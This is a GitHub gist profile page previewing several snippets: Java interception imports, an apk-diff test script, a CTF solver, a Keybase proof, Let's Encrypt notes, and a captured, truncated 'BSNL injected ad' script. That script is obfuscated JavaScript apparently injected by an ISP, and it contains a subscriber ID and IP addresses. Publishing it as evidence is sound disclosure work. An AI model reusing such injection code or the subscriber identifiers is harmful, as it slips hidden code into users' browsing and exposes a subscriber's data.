Skip to content

Instantly share code, notes, and snippets.

Avatar

Akshay S Dinesh asdofindia

View GitHub Profile
@asdofindia
asdofindia / ConstructorInterceptExample.java
Created Jun 16, 2020 — forked from psamsotha/ConstructorInterceptExample.java
Example of constructor interception with Jersey/HK2
View ConstructorInterceptExample.java
import org.aopalliance.intercept.ConstructorInterceptor;
import org.aopalliance.intercept.ConstructorInvocation;
import org.aopalliance.intercept.MethodInterceptor;
import org.glassfish.hk2.api.Filter;
import org.glassfish.hk2.api.InterceptionService;
import org.glassfish.hk2.utilities.BuilderHelper;
import org.glassfish.hk2.utilities.binding.AbstractBinder;
import org.glassfish.jersey.server.ResourceConfig;
import org.glassfish.jersey.test.JerseyTest;
import org.junit.Test;
@asdofindia
asdofindia / break-diff.sh
Created Mar 29, 2020
A (failed) attempt to prove that apk-diff.py of Telegram is broken.
View break-diff.sh
base64 /dev/urandom | head -c 10000 > testfile
truncate -s 8192 testfile
zip apk1.apk testfile
echo "malicious code" >> testfile
zip apk2.apk testfile
python apkdiff.py apk1.apk apk2.apk
View BSNL injected ad
function ctSuperFunction() {var ns_ip = '117.254.84.212';var ns_port = '3000';var subscriberId = 'bXk4MjI4Mjk3MTIzX3NpZEBmdHRoLmJzbmwuaW4=';var subscriberIP = '117.213.189.8';var nadipdata = '{"url":"/openweb/modernizr.custom.js","referer":"http://yatra.diasporafoundation.org/openweb/","host":"yatra.diasporafoundation.org","categories":[0],"reputations":[1]}';var userAgent = "Mozilla/5.0%20(X11;%20Linux%20x86_64;%20rv:61.0)%20Gecko/20100101%20Firefox/61.0";var method2 = false;var _0x1ac8=["\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x73\x6C\x69\x63\x65","\x63\x6F\x6E\x63\x61\x74","\x70\x75\x73\x68","\x69\x6E\x64\x65\x78\x4F\x66","\x74\x6F\x53\x74\x72\x69\x6E\x67","\x68\x61\x73\x4F\x77\x6E\x50\x72\x6F\x70\x65\x72\x74\x79","\x31\x2E\x31\x31\x2E\x31","\x69\x6E\x69\x74","\x66\x6E","\x74\x6F\x55\x70\x70\x65\x72\x43\x61\x73\x65","\x70\x72\x6F\x74\x6F\x74\x79\x70\x65","","\x63\x61\x6C\x6C","\x6C\x65\x6E\x67\x74\x68","\x63\x6F\x6E\x73\x74\x72\x75\x63\x74\x6F\x72","\x6D\x65\x72\x67\x65","\x70\x72\x65\x76\x4F\x62\x6A\x65\x
@asdofindia
asdofindia / fastandfurious.py
Last active Feb 1, 2017
Breakin CTF '17 - Fast and Furious
View fastandfurious.py
#!/bin/env python3
from bs4 import BeautifulSoup
import requests
r = requests.get('https://felicity.iiit.ac.in/contest/extra/fastandfurious/')
while r:
print(r.text)
soup = BeautifulSoup(r.text, 'html.parser')
solve = soup.findAll('p')[1]
# print(solve)
View keybase.md

Keybase proof

I hereby claim:

  • I am asdofindia on github.
  • I am asdofindia (https://keybase.io/asdofindia) on keybase.
  • I have a public key ASA7qxqLxwiNCIgv46yFDxkOvdgYIAKLKTuY-K2jJ0w3TAo

To claim this, I am signing this object:

@asdofindia
asdofindia / update.md
Created Jun 2, 2016
Updating letsencrypt to certbot, renewing certificate, and creating systemd job for automatic renewal
View update.md

documentation of letsencrypt renewal of indicproject

following official method for debian jessie

  • add jessie-backports to sources.list https://backports.debian.org/Instructions/
  • apt-get update
  • apt-get install letsencrypt -t jessie-backports says letsencrypt : Depends: python-letsencrypt (= 0.5.0-1~bpo8+1) but it is not going to be installed
  • digress from official method, do apt-get install letsencrypt python-letsencrypt -t jessie-backports says python-letsencrypt : Depends: python-acme (>= 0.5.0) but it is not going to be installed
You can’t perform that action at this time.